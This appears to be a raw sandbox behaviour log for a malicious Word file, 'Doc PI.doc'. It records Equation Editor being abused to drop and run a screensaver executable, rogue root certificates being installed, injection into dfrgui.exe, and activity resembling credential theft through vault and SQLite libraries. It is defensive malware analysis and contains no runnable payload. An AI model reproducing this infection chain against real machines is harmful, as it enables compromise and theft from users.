Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: dfrgui.exe, 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmp, sqlite3.dll.8.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: dfrgui.exe, 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmp, sqlite3.dll.8.dr	Binary or memory string: CREATE TABLE "%w"."%w_node"(nodeno INTEGER PRIMARY KEY, data BLOB);CREATE TABLE "%w"."%w_rowid"(rowid INTEGER PRIMARY KEY, nodeno INTEGER);CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY, parentnode INTEGER);INSERT INTO '%q'.'%q_node' VALUES(1, zeroblob(%d))
Source: dfrgui.exe, 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmp, sqlite3.dll.8.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: dfrgui.exe, 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmp, sqlite3.dll.8.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: dfrgui.exe, 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmp, sqlite3.dll.8.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: dfrgui.exe, 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmp, sqlite3.dll.8.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: dfrgui.exe, 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmp, sqlite3.dll.8.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: dfrgui.exe, 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmp, sqlite3.dll.8.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: dfrgui.exe, 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmp, sqlite3.dll.8.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');

Source: Doc PI.doc	ReversingLabs: Detection: 36%
Source: Doc PI.doc	Virustotal: Detection: 41%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\loud89334.scr "C:\Users\user\AppData\Roaming\loud89334.scr"
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Process created: C:\Users\user\AppData\Roaming\loud89334.scr "C:\Users\user\AppData\Roaming\loud89334.scr"
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	Process created: C:\Windows\SysWOW64\dfrgui.exe "C:\Windows\SysWOW64\dfrgui.exe"
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Windows\SysWOW64\dfrgui.exe	Process created: C:\Program Files (x86)\Mozilla Firefox\firefox.exe "C:\Program Files (x86)\Mozilla Firefox\Firefox.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\loud89334.scr "C:\Users\user\AppData\Roaming\loud89334.scr"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Process created: C:\Users\user\AppData\Roaming\loud89334.scr "C:\Users\user\AppData\Roaming\loud89334.scr"	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	Process created: C:\Windows\SysWOW64\dfrgui.exe "C:\Windows\SysWOW64\dfrgui.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process created: C:\Program Files (x86)\Mozilla Firefox\firefox.exe "C:\Program Files (x86)\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: credssp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Section loaded: msftedit.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: virtdisk.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: fltlib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: sxshared.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: wdscore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: cryptui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: riched32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\dfrgui.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32

Jump to behavior

Source: Doc PI.LNK.0.dr

LNK file: ..\..\..\..\..\Desktop\Doc PI.doc

Source: C:\Users\user\AppData\Roaming\loud89334.scr

File opened: C:\Windows\SysWOW64\MsftEdit.DLL

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Roaming\loud89334.scr

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: C:\Users\GT350\source\repos\UpdatedRunpe\UpdatedRunpe\obj\x86\Debug\AQipUvwTwkLZyiCs.pdb source: loud89334.scr, 00000005.00000002.370217484.00000000023A1000.00000004.00000800.00020000.00000000.sdmp, loud89334.scr, 00000005.00000002.370034664.0000000000620000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dfrgui.pdb source: sQNFFcxirzZbXqUULewCRS.exe, 00000007.00000003.394123184.00000000009D0000.00000004.00000001.00020000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 00000007.00000003.394273812.0000000000FA0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: sQNFFcxirzZbXqUULewCRS.exe, 00000007.00000002.635533344.000000000139E000.00000002.00000001.01000000.00000009.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000000.419589131.000000000139E000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: dfrgui.pdb2D source: sQNFFcxirzZbXqUULewCRS.exe, 00000007.00000003.394123184.00000000009D0000.00000004.00000001.00020000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 00000007.00000003.394273812.0000000000FA0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: loud89334.scr, loud89334.scr, 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.635736352.0000000002220000.00000040.00001000.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000003.407159126.0000000000660000.00000004.00000020.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000003.407445701.0000000001F10000.00000004.00000020.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.635736352.00000000020A0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: >.pdb'<project></project>File source: loud89334.scr, 00000005.00000000.359382718.0000000000AB2000.00000020.00000001.01000000.00000004.sdmp, dfrgui.exe, 00000008.00000002.635447198.0000000000660000.00000004.00000020.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000294C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000000.419606909.00000000033CC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000E.00000002.478820963.000000000067C000.00000004.80000000.00040000.00000000.sdmp, loudzx[1].scr.2.dr, loud89334.scr.2.dr

Source: loudzx[1].scr.2.dr

Static PE information: 0xCC2B3E32 [Mon Jul 18 16:07:14 2078 UTC]

Source: sqlite3.dll.8.dr	Static PE information: section name: /4
Source: sqlite3.dll.8.dr	Static PE information: section name: /19
Source: sqlite3.dll.8.dr	Static PE information: section name: /31
Source: sqlite3.dll.8.dr	Static PE information: section name: /45
Source: sqlite3.dll.8.dr	Static PE information: section name: /57
Source: sqlite3.dll.8.dr	Static PE information: section name: /70
Source: sqlite3.dll.8.dr	Static PE information: section name: /81
Source: sqlite3.dll.8.dr	Static PE information: section name: /92

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00648F58 push eax; retf	2_2_00648F61
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_006401F4 push eax; retf	2_2_006401F5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_006456A4 pushad ; retn 0064h	2_2_006456A5
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 5_2_003025E7 push ebx; retf	5_2_003025EA
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_0041B855 pushad ; iretd	6_2_0041B884
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00407936 push eax; iretd	6_2_00407937
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_004191E7 push ecx; ret	6_2_004191E8
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00415A7A push esi; retf	6_2_00415AB4
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_0040EB41 push 7B0B5DBBh; iretd	6_2_0040EB4A
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_0042F3B2 push eax; ret	6_2_0042F3B4
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00419C00 pushad ; retf	6_2_00419C2D
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00415C3E push esp; retf	6_2_00415C8E
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00403640 push eax; ret	6_2_00403642
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_0041F75D push eax; iretd	6_2_0041F75E
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DADFA1 push ecx; ret	6_2_00DADFB4
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	Code function: 7_2_00CD39A2 push eax; iretd	7_2_00CD39A3
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	Code function: 7_2_00CCFA9A pushad ; iretd	7_2_00CCFAC9
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	Code function: 7_2_00CBBB7B push eax; iretd	7_2_00CBBB7C
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	Code function: 7_2_00CD44FC push esi; retf	7_2_00CD44FD
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	Code function: 7_2_00CCD42C push ecx; ret	7_2_00CCD42D
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	Code function: 7_2_00CE35F7 push eax; ret	7_2_00CE35F9
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	Code function: 7_2_00CC2D86 push 7B0B5DBBh; iretd	7_2_00CC2D8F
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	Code function: 7_2_00CCDE45 pushad ; retf	7_2_00CCDE72
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	Code function: 7_2_00CD4604 push eax; ret	7_2_00CD462C

Source: loudzx[1].scr.2.dr	Static PE information: section name: .text entropy: 7.00518309231931
Source: loud89334.scr.2.dr	Static PE information: section name: .text entropy: 7.00518309231931

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\loudzx[1].scr			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\loud89334.scr			Jump to dropped file

Installs new ROOT certificates

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\loudzx[1].scr	Jump to dropped file
Source: C:\Windows\SysWOW64\dfrgui.exe	File created: C:\Users\user\AppData\Local\Temp\sqlite3.dll	Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\loud89334.scr	Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
